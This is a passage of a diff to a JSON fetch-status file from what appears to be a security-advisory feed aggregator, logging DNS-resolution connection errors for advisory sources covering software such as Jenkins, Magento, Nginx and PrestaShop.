+      "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://grafana.com/security/security-advisories/",
+      "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "hapi",
+      "display_name": "Hapi",
+      "source_name": "OSV Hapi",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
     },
     {
       "system_id": "haproxy",
+      "display_name": "HAProxy",
       "source_name": "HAProxy Blog Feed",
       "source_kind": "rss-feed",
-      "elapsed_seconds": 9.659,
-      "status": "ok"
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.haproxy.com/feed/",
+      "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "jenkins",
+      "display_name": "Jenkins",
+      "source_name": "Jenkins Security Advisories RSS",
+      "source_kind": "rss-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.jenkins.io/security/advisories/rss.xml",
+      "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "joomla",
+      "display_name": "Joomla",
+      "source_name": "Joomla Security Centre",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://developer.joomla.org/security-centre.html",
+      "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "joomla",
+      "display_name": "Joomla",
+      "source_name": "OSV Joomla",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "kibana",
+      "display_name": "Kibana",
+      "source_name": "Elastic Security Announcements RSS",
+      "source_kind": "rss-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss",
+      "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "koa",
+      "display_name": "Koa",
+      "source_name": "OSV Koa",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "laravel",
+      "display_name": "Laravel",
+      "source_name": "OSV Laravel",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "magento-open-source",
+      "display_name": "Magento Open Source",
+      "source_name": "Magento GitHub Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/magento/magento2/security/advisories",
+      "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "magento-open-source",
+      "display_name": "Magento Open Source",
+      "source_name": "OSV Magento Open Source",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "magento-open-source",
+      "display_name": "Magento Open Source",
+      "source_name": "Sansec Research",
+      "source_kind": "html-links",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://sansec.io/research",
+      "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "mattermost",
+      "display_name": "Mattermost",
+      "source_name": "Mattermost Security Updates JSON",
+      "source_kind": "json-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://securityupdates.mattermost.com/security_updates.json",
+      "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "mattermost",
+      "display_name": "Mattermost",
+      "source_name": "OSV Mattermost",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "mediawiki",
+      "display_name": "MediaWiki",
+      "source_name": "MediaWiki Announce RSS",
+      "source_kind": "rss-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/",
+      "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "mediawiki",
+      "display_name": "MediaWiki",
+      "source_name": "OSV MediaWiki",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "medusa",
+      "display_name": "Medusa",
+      "source_name": "OSV Medusa",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "moodle",
+      "display_name": "Moodle",
+      "source_name": "OSV Moodle",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nestjs",
+      "display_name": "NestJS",
+      "source_name": "OSV NestJS",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nextjs",
+      "display_name": "Next.js",
+      "source_name": "OSV Next.js",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nginx",
+      "display_name": "Nginx",
+      "source_name": "CISA KEV NGINX",
+      "source_kind": "kev-json",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+      "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nginx",
+      "display_name": "Nginx",
+      "source_name": "NGINX Security Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://nginx.org/en/security_advisories.html",
+      "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nodejs",
+      "display_name": "Node.js",
+      "source_name": "CISA KEV Node.js",
+      "source_kind": "kev-json",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+      "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nodejs",
+      "display_name": "Node.js",
+      "source_name": "Node.js Security Releases",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://nodejs.org/en/blog/vulnerability",
+      "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "nuxt",
+      "display_name": "Nuxt",
+      "source_name": "OSV Nuxt",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "opencart",
+      "display_name": "OpenCart",
+      "source_name": "OSV OpenCart",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "opencart",
+      "display_name": "OpenCart",
+      "source_name": "OpenCart Releases",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/opencart/opencart/releases",
+      "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "openmage",
+      "display_name": "OpenMage / Mage-OS",
+      "source_name": "OSV OpenMage",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "openmage",
+      "display_name": "OpenMage / Mage-OS",
+      "source_name": "OpenMage GitHub Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/OpenMage/magento-lts/security/advisories",
+      "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "phpmyadmin",
+      "display_name": "phpMyAdmin",
+      "source_name": "OSV phpMyAdmin",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "phpmyadmin",
+      "display_name": "phpMyAdmin",
+      "source_name": "phpMyAdmin Security Page",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.phpmyadmin.net/security/",
+      "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "prestashop",
+      "display_name": "PrestaShop",
+      "source_name": "Friends Of Presta Security",
+      "source_kind": "html-links",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://security.friendsofpresta.org/",
+      "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "prestashop",
+      "display_name": "PrestaShop",
+      "source_name": "GitHub PrestaShop Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/PrestaShop/PrestaShop/security/advisories",
+      "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "prestashop",
+      "display_name": "PrestaShop",
+      "source_name": "OSV PrestaShop",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "prestashop",
+      "display_name": "PrestaShop",
+      "source_name": "PrestaShop Security Page",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://build.prestashop-project.org/news/",
